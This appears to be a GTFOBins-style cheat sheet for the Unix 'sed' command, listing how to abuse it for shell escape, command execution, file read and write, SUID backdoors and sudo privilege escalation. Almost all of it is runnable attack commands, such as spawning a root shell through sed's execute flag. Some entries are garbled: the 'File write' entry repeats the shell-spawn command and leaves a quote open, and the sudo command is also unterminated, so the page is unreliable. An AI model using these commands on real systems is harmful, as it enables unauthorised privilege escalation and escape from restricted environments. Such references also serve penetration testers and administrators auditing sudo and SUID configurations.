.. / sed
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Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

GNU version only. Also, this requires bash.
```
sed -n '1e exec sh 1>&0' /etc/hosts
```

Command

It can be used to break out from restricted environments by running non-interactive system commands.

GNU version only.
```
sed -n "1e id" /etc/hosts
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

LFILE=file_to_write
sed -n '1e exec sh 1>&0 /etc/hosts

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

```
LFILE=file_to_read
sed '' "$LFILE"
```

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

sudo sh -c 'cp $(which sed) .; chmod +s ./sed'

LFILE=file_to_read
./sed -e '' "$LFILE"

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

GNU version only. Also, this requires bash.
```
sudo sed -n '1e exec sh 1>&0 /etc/hosts
```